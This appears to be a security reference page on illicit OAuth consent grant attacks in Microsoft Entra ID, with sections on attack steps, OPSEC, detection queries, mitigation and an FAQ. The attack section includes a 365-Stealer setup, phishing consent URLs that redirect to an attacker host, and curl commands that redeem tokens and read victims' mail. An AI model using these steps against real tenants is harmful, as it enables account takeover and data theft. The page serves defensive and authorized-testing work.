How it works
OAuth 2.0 lets a user hand an application a limited part of their access without sharing a password. In Microsoft Entra ID that decision is called application consent. The user signs in at Microsoft's real sign-in page, sees a prompt that lists the permissions the application asks for, and selects Accept. Entra ID records the decision and issues the application an OAuth token for the approved scopes.
An illicit consent grant abuses that flow as it was designed. The attacker registers an application, gives it a trustworthy name, and sends the victim a link to the genuine Microsoft authorization endpoint with the attacker's client_id. Nothing on the page is fake: the domain is login.microsoftonline.com, the user authenticates normally (MFA included) and no credential is stolen. The only malicious part is the application that asks.
Three objects carry the result:
- The app registration lives in the application's home tenant. For this attack that is usually a tenant the attacker owns, so the victim organization cannot see or change it.
- A multitenant application gets a local service principal in each tenant that uses it. Entra ID creates it in the victim tenant at the first consent. The page on app registration versus enterprise application covers the split.
- The grant itself. A delegated permission is an
oauth2PermissionGrantwhoseclientIdis the local service principal, whoseresourceIdis the API (for example Microsoft Graph) and whosescopelists the permissions. An application permission is an app role assignment on the service principal.
The variants differ in who approves and how far the grant reaches:
- User consent phishing. A user approves delegated permissions for themselves (
consentTypePrincipal). The application acts as that user: mail, files, contacts, chats. By default all users may consent to permissions that do not require administrator consent, which includes access to their own mailbox. - Admin consent. An administrator approves on behalf of the organization. The delegated grant becomes
AllPrincipals, so the application can act for any user who signs in to it, and application permissions can be granted, which need no signed-in user at all. - Multitenant application from a foreign tenant. The application is registered outside the victim tenant. With an application permission, the attacker requests tokens with a secret that only exists in their own tenant, so there is no user sign-in to watch and nothing to reset.
A delegated grant with offline_access gives the application a refresh token, so access continues long after the phishing click. A grant can also outlive the sign-in that created it: the consent record, the token issuance and the later API requests are three separate events with three separate clocks.
Prerequisites
- An application registration the attacker controls, with a redirect URI on a host they run. Any Entra tenant will do, including a free one.
- A delivery channel for the link: email, chat, a compromised web page, or an internal account.
- For user consent: the target tenant lets users consent to the requested permissions for an application from that publisher. Tenants that restrict consent to verified publishers and low-impact permissions block most of this variant.
- For admin consent: a user who holds a role that can grant tenant-wide consent follows the link and accepts.
- No account, role or network position in the victim tenant.
Attack steps
For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.
1. Register the application
In a tenant the attacker controls, register a multitenant web application, add a client secret and a redirect URI, and request delegated Microsoft Graph permissions such as Mail.Read, Files.Read.All and offline_access. 365-Stealer automates the registration and runs the listener that receives the authorization code:
git clone https://github.com/AlteredSecurity/365-Stealer
cd 365-Stealer && pip install -r requirements.txt
# Prompts for the tenant ID, application name, redirect URI and permission set
python 365-Stealer.py --app-registration
2. Build and deliver the consent link
The link is an ordinary authorization request. organizations accepts a user from any Entra tenant:
https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize
?client_id=00000000-0000-0000-0000-000000000000
&response_type=code
&redirect_uri=https%3A%2F%2Fapp.attacker.example%2Fcallback
&response_mode=query
&scope=openid%20offline_access%20https%3A%2F%2Fgraph.microsoft.com%2FMail.Read%20https%3A%2F%2Fgraph.microsoft.com%2FFiles.Read.All
&state=12345
For the admin consent variant, the admin consent endpoint asks an administrator to approve the permissions for the whole tenant:
https://login.microsoftonline.com/organizations/v2.0/adminconsent
?client_id=00000000-0000-0000-0000-000000000000
&scope=https://graph.microsoft.com/.default
&redirect_uri=https://app.attacker.example/callback
&state=12345
The /.default scope requests every permission configured on the registration, and it is the only way to request application permissions through this endpoint.
3. Redeem the authorization code
After the user accepts, Entra ID redirects the browser to the attacker's redirect URI with a code. The attacker's server exchanges it at the token endpoint:
curl -s -X POST "https://login.microsoftonline.com/organizations/oauth2/v2.0/token" \
-d "client_id=00000000-0000-0000-0000-000000000000" \
-d "client_secret=<app-secret>" \
-d "grant_type=authorization_code" \
-d "code=<authorization-code>" \
-d "redirect_uri=https://app.attacker.example/callback" \
-d "scope=https://graph.microsoft.com/Mail.Read https://graph.microsoft.com/Files.Read.All offline_access"
The response holds an access token for Microsoft Graph and, because of offline_access, a refresh token.
4. Use the access
# Read the victim's mailbox as the application
curl -s -H "Authorization: Bearer <access-token>" \
"https://graph.microsoft.com/v1.0/me/messages?\$top=25&\$select=subject,from,receivedDateTime"
# Renew access without the user
curl -s -X POST "https://login.microsoftonline.com/organizations/oauth2/v2.0/token" \
-d "client_id=00000000-0000-0000-0000-000000000000" \
-d "client_secret=<app-secret>" \
-d "grant_type=refresh_token" \
-d "refresh_token=<refresh-token>" \
-d "scope=https://graph.microsoft.com/Mail.Read offline_access"
5. Review the grants in a tenant (assessment and response)
The same data shows a tester, or a defender, what an application can do:
Connect-MgGraph -Scopes "Directory.Read.All"
# Every delegated grant: client, resource, who it covers, which scopes
Get-MgOauth2PermissionGrant -All |
Select-Object ClientId, ResourceId, ConsentType, PrincipalId, Scope
# Microsoft's inventory script: all delegated and application permissions in one CSV
.\Get-AzureADPSPermissions.ps1 | Export-Csv -Path "Permissions.csv" -NoTypeInformation
Impact
With user consent the application reads, and with write scopes sends, changes or deletes, whatever the user can reach through the granted permissions: mailbox content, OneDrive and SharePoint files, contacts, Teams messages. This is the access behind business email compromise and internal phishing from a trusted sender.
The access does not depend on the user's credentials. A password reset, a new MFA method or a blocked sign-in location changes nothing, because the application signs in as itself with tokens it already holds. The grant stays until someone removes it.
With admin consent the scope is the tenant. An AllPrincipals delegated grant covers every user who signs in to the application, and an application permission such as Mail.Read for all mailboxes, or a directory write permission, works with no user at all. Powerful Graph application permissions lead on to Graph application permission escalation. The attack is often paired with device code phishing and token theft, which reach the same data without leaving a grant behind.
OPSEC and artifacts
- Narrow, plausible scopes. An operator requests only permissions that users may approve, so no admin prompt appears and no approval request is raised. The grant is still stored: an
oauth2PermissionGrantrow with the user'sprincipalIdand the fullscopestring. - A convincing application. A name and logo close to a known product lowers suspicion at the prompt. The publisher shows as unverified unless the attacker took over a verified publisher's tenant, and the name is visible to every reviewer under Enterprise applications.
- Home tenant out of reach. Keeping the registration in the attacker's tenant hides the secret and the redirect URI from the victim. The local service principal is still created in the victim tenant, with the audit activity
Add service principal. - Quiet use. Reading mail through Graph at the user's own pace looks like a mail client. Each request is still a Microsoft Graph call with the application's
AppId, recorded inMicrosoftGraphActivityLogswhere that log is collected, and token renewals appear as non-interactive sign-ins for the application. - What is always written: the audit activities Consent to application and Add delegated permission grant, plus Add app role assignment to service principal when application permissions are granted.
- What is not written: anything in the victim tenant about the app registration, its secret or the attacker's infrastructure, and nothing in Entra ID about which messages or files were opened. That evidence sits in the workload: mailbox auditing and the Microsoft 365 audit log.
Detection
The consent is the detectable moment. The illicit consent grant detection rules cover it; the signals are:
- A new grant to an unfamiliar application.
Consent to applicationfollowed byAdd delegated permission grant, for an application that first appeared in the tenant minutes earlier (Add service principal). - Sensitive scopes. Mail, files,
offline_accesstogether with read or write on other users' data, or any.Allpermission. - Admin consent. Microsoft's guidance is to check the consent record for
IsAdminConsentset toTrue, and to review every non-Microsoft application that holds anAllPrincipalsgrant. Application permissions are covered by the privileged Graph application permission rules. - Microsoft's own verdict. Entra ID Protection can flag a service principal as a malicious application; see the rules for applications flagged by Microsoft.
- A weaker consent policy. A change that lets users consent to more is a precursor: user consent settings weakened.
// Consent and permission changes, oldest first
AuditLogs
| where OperationName in~ (
"Add service principal",
"Consent to application",
"Add delegated permission grant",
"Remove delegated permission grant",
"Add app role assignment to service principal")
| project TimeGenerated, OperationName, Result, CorrelationId,
InitiatedBy, TargetResources
| order by TimeGenerated asc
A successful Add service principal only shows that the local object was created, so look for the grant or the assignment before reporting permissions. One administrative decision can write several rows; count changes by identifier, not by row. Keep failures in the first pass: they separate an attempted consent from a completed one. The audit record proves the decision, not the use, so confirm what the application did from Graph activity and mailbox audit data.
Mitigation
- Restrict user consent. Allow user consent only for applications from verified publishers and only for permissions classified as low impact (the built-in policy
microsoft-user-default-low), or turn user consent off. A change affects future consent only; existing grants stay. - Turn on the admin consent workflow so users can request approval instead of being blocked, and review each request for the resource, the exact scopes and a business owner. A verified publisher identifies who published the application; it does not show that a permission is needed.
- Review existing grants on a schedule: tenant-wide delegated grants, application permissions, and user grants held by high-value accounts. Removing a delegated permission grant is itself an audited activity, which gives the review a record.
- Remove a malicious application completely. Delete the delegated grants and app role assignments, disable or delete the service principal, and revoke the affected users' refresh tokens. A password reset alone does nothing.
- Limit who can grant tenant-wide consent. Keep the roles that can consent for the organization small and protected by phishing-resistant MFA and just-in-time activation.
- Collect the evidence in advance. Route Entra audit logs and Microsoft Graph activity logs to a workspace, and make sure mailbox auditing is on, so that a later investigation can show what the application read.
Detection rules for this attack
Log events to collect
FAQ
Does resetting the user's password stop an illicit consent grant?
No. The application never had the password. It holds its own tokens, issued because of the consent grant, and Microsoft's guidance says password resets and MFA are not effective against this attack. You have to remove the delegated permission grant or app role assignment, disable or delete the service principal, and revoke the user's refresh tokens.
Can a normal user grant a malicious app access to the whole tenant?
No. A user can only consent for themselves, and only to delegated permissions that tenant policy lets users approve. Tenant-wide delegated consent (consentType AllPrincipals) and application permissions need an administrator. That is why attackers aim the admin consent link at administrators, and why user consent phishing still pays: one mailbox is often enough.
What is the difference between user consent and admin consent in the logs?
Both write the audit activity Consent to application. A user consent creates a delegated permission grant with consentType Principal that names one user. An admin consent creates a grant with consentType AllPrincipals that covers every user, and can also add app role assignments for application permissions. Microsoft's guidance is to check whether IsAdminConsent is True on the record.
Does the malicious application need to be registered in my tenant?
No. The usual case is a multitenant application registered in a tenant the attacker controls. When the first user consents, Entra ID creates a local service principal for it in your tenant. The app registration, its secrets and its redirect URI stay in the attacker's tenant, out of your reach.
References
- Steal Application Access Token, T1528 (MITRE ATT&CK)
- Detect and remediate illicit consent grants in Microsoft 365 (Microsoft Learn)
- Configure how users consent to applications (Microsoft Learn)
- Admin consent on the Microsoft identity platform (Microsoft Learn)
- Microsoft identity platform and OAuth 2.0 authorization code flow (Microsoft Learn)
- oauth2PermissionGrant resource type (Microsoft Graph)
- Microsoft Entra audit log activity reference (Microsoft Learn)
- 365-Stealer (Altered Security)
Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.